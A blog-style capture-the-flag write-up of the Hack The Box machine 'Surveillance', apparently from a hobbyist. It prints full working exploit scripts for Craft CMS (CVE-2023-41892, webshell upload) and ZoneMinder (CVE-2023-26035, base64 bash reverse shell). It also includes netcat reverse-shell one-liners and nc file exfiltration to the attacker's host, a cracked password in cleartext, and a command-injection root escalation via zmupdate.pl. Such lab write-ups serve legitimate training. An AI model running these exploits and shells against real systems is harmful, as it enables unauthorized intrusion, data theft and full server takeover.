Hack The Box (Surveillance)

Software Sinner
10 min readFeb 14, 2024

I’ve been on the Hack The Box platform for many years now and It sharpens my hacking skills. This machine was one of my favorites to hack. It was a Medium level machine and I am proud of myself for owning it. The machine goes over a heavy enumeration that leads to exploiting Craft CMS to get a low-level shell on the server. Privilege escalation was performed by doing a local port-forward with ssh exploiting ZoneMinder.

They are always watching you…

Enumeration:

I blasted autorecon at the IP and got back only two ports which was sweet. I served up all of my scan results from autorecon to my Python local HTTP server. This helps me stay organized when viewing my results in a web browser.

sudo $(which autorecon) <Target IP Here>

In another terminal window while autorecon is running:

python -m http.server 80

Nmap Results:

Nmap scan report for 10.10.11.245
Host is up, received user-set (0.076s latency).
Scanned at 2024-02-13 15:51:45 PST for 72s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN+/g3FqMmVlkT3XCSMH/JtvGJDW3+PBxqJ+pURQey6GMjs7abbrEOCcVugczanWj1WNU5jsaYzlkCEZHlsHLvk=
| 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIm6HJTYy2teiiP6uZoSCHhsWHN+z3SVL/21fy6cZWZi
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

Visiting the IP in Firefox It was trying to communicate with the domain surveillance.htb. I mapped the domain to the machine's IP in the/etc/hosts file.

sudo nano /etc/hosts

Revisiting the IP back in my browser resolved it to the domain and was able to access the page.

The company offers Cameras, Intrusion, Perimeter Security, Access Control & Intercom services.

The first thing I always do when navigating a web page is analyze it by hitting ctrl-u on my keyboard for the “View Page Source” functionality in Firefox. I had the wappalyzer extension installed also so this gave me some info on what technologies the server was using.

I did a keyword search in the view page source ctrl-f for “CMS” and came across some version information.

Exploitation:

Doing some googling of the version I found an exploit on Github that this person spoiled for us since it's related to this machine.

Thanks anyway dude 😏.

#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
print("\033[1;31m[-]\033[0m URL should start with http or https")
exit()

print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
r = requests.post(url, headers=content_type, data=data)
except:
print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
exit()

# If we succeed, we should have default phpinfo credits
if not 'PHP Group' in r.text:
print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

tmp_dir = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir

data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
<write filename="info:DOCUMENTROOT/shell.php"/>
</image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
"action": "conditions/render",
"configObject[class]": r"craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
print("\033[1;31m[-]\033[0m Exploit failed")
exit()

print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
command = input('\033[1;96m>\033[0m ')
if command == 'exit':
exit()

if command == 'clear' or command == 'cls':
print('\n' * 100)
print('\033[H\033[3J', end='')
continue

data = {'cmd' : command}
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

# exit if we have an error
if r.status_code != 200:
print(f"Error: status code {r.status_code} for {url}")
exit()

res_command = r.text
res_command = re.sub('^caption:', '', res_command)
res_command = re.sub(' CAPTION.*$', '', res_command)

print(res_command, end='')

Okay let's at least do a breakdown of what this exploit code is doing:

This Python script is an exploit for a vulnerability (CVE-2023–41892) in Craft CMS, versions 4.0.0-RC1 through 4.4.14, which allows unauthenticated remote code execution (RCE).

  • Usage Check: The script checks if it has been provided with the required command-line argument (the URL of the vulnerable Craft CMS instance).
  • Execute PHPInfo: Sends a request to the target Craft CMS instance to execute phpinfo() and extract configuration information.
  • Extract Configuration: Parses the response from phpinfo() to extract values for upload_tmp_dir and $_SERVER[‘DOCUMENT_ROOT’].
  • Create Shell: Constructs a malicious PHP file (shell.php) with code that allows command execution on the server.
  • Upload Shell: Uploads the malicious PHP file to the target server using a crafted request. It uses an Imagick trick to move the shell to the document root.
  • Interactive Shell: Once the shell is deployed, the script enters an interactive mode where it allows the user to execute commands on the target system through the uploaded shell.
  • Clean-Up: Provides instructions on how to delete the uploaded shell after use.
sudo git clone https://github.com/Faelian/CraftCMS_CVE-2023-41892
cd CraftCMS_CVE-2023-41892
python3 craft-cms.py http://surveillance.htb/

The shell that was given to me was absolutely trash so I decided to run another reverse shell back to my machine.

On my attack machine:

nc -nlvp 1234

On the target machine:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your IP here> 1234 >/tmp/f
/usr/bin/script -qc /bin/bash /dev/null

Post-Exploitation:

The next step for me since I was only www-data, was to enumerate the system for password files, etc. I pushed linpeas onto the machine and found some juicy stuff that led me to an insane amount of rabbit holes.

Sorry, Alice sometimes it be like that.

I took note of the passwords discovered and connected to the MySQL databases found password hashes tried to break them and got nothing…

Looking back at my Linpeas results I found this interesting file:

var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip

I pushed the file onto my machine so I could analyze it further.

On my attack machine:

nc -l -p <port>  > surveillance--2023-10-17-202801--v4.4.14.sql.zip

On the target machine:

nc <attackers ip> <port> < surveillance--2023-10-17-202801--v4.4.14.sql.zip

Opened the file with gedit and did a ctr-f related to users that I found on the system or passwords and came across a hash for Matthew.

Ran a hash-identifier to discover what type of hash I was working with and it was SHA-256.

Threw the hash into a file ran Johnny Boy the Ripper on it and then sshd onto the machine.

john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256

Nice password Matthew you nerd!

username: matthew
password: starcraft122490
sudo ssh -oHostKeyAlgorithms=+ssh-dss matthew@10.10.11.245

I ran linpeas again and revisited the section where it highlighted open active ports and port 8080 was interesting to me.

To access this port I needed to do an SSH Local Port Forward. A local Port redirects traffic from a local port on the client machine to a specified port on a remote server through an SSH connection.

On my attack machine I ran:

ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245

Visited my localhost IP in a browser on port 2222 and was presented with a ZoneMinder login page.

Like any great hacker would do next I googled for any exploits out there available for ZoneMinder and came across yet another RCE-related exploit.

sudo git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
nc -nlvp 7777
python3 exploit.py -t http://127.0.0.1:2222/ -i <your Attacker IP here> -p 7777

Let’s break down this exploit code also:

import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64

# CVE-2023-26035 - Unauthenticated RCE in ZoneMinder Snapshots
# Author : Ravindu Wickramasinghe | rvz (@RVIZX9)

class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None

def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False

def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)

def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")

def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()

# generating the payload
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"

ZoneMinderExploit(args.target_url).exploit(payload)

This Python script is an exploit for (CVE-2023–26035), which is an unauthenticated Remote Code Execution (RCE) vulnerability in ZoneMinder Snapshots.

Imports:

  • The script imports necessary modules: re for regular expressions, requests for making HTTP requests, BeautifulSoup from the bs4 library for parsing HTML, argparse for parsing command-line arguments, and base64 for encoding payloads.

ZoneMinderExploit Class:

  • This class encapsulates the exploit logic:
  • The __init__ method initializes the target URI and CSRF token.
  • The fetch_csrf_token method sends a GET request to the target URI to fetch the CSRF token from the HTML response.
  • The get_csrf_magic method parses the HTML response to extract the CSRF token.
  • The execute_command method sends a POST request with a payload to execute arbitrary commands on the target.
  • The exploit method orchestrates the exploit by fetching the CSRF token and executing the payload.

Payload Generation:

  • The script parses command-line arguments to obtain the target URL, local IP, and port.
  • It generates a payload (ps1) that establishes a reverse shell connection to the specified local IP and port using bash.
  • The payload is encoded using base64 (ps2), and a final payload is constructed to decode and execute the payload using base64 and bash.

Command-Line Argument Parsing:

  • The script uses argparse to parse command-line arguments, expecting the target URL, local IP, and port.

Exploit Execution:

  • The script instantiates the ZoneMinderExploit class with the target URL and calls the exploit method, passing the generated payload.
  • The exploit fetches the CSRF token and then executes the payload to establish a reverse shell on the target system.

The first thing I always do and I mean always is run sudo -l .

This had me chasing my tail for a while and had no idea how to abuse this. Eventually, I decided to look in the /usr/bin directory for all zm related scripts and found zmupdate.pl .

Did some reverse engineering on this file and saw that the user= argument parameter was vulnerable to an injection attack. So I ran the file passed my injection to the user argument and got a shell as root!

sudo /usr/bin/zmupdate.pl --version=1 --user='$(/bin/bash -i)' --pass=ZoneMinderPassword2023

The shell was super buggy and couldn't run anything as root so I did another reverse shell back onto my machine and got a stable shell.

On the target machine after running the exploit:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 3333 >/tmp/f

--

--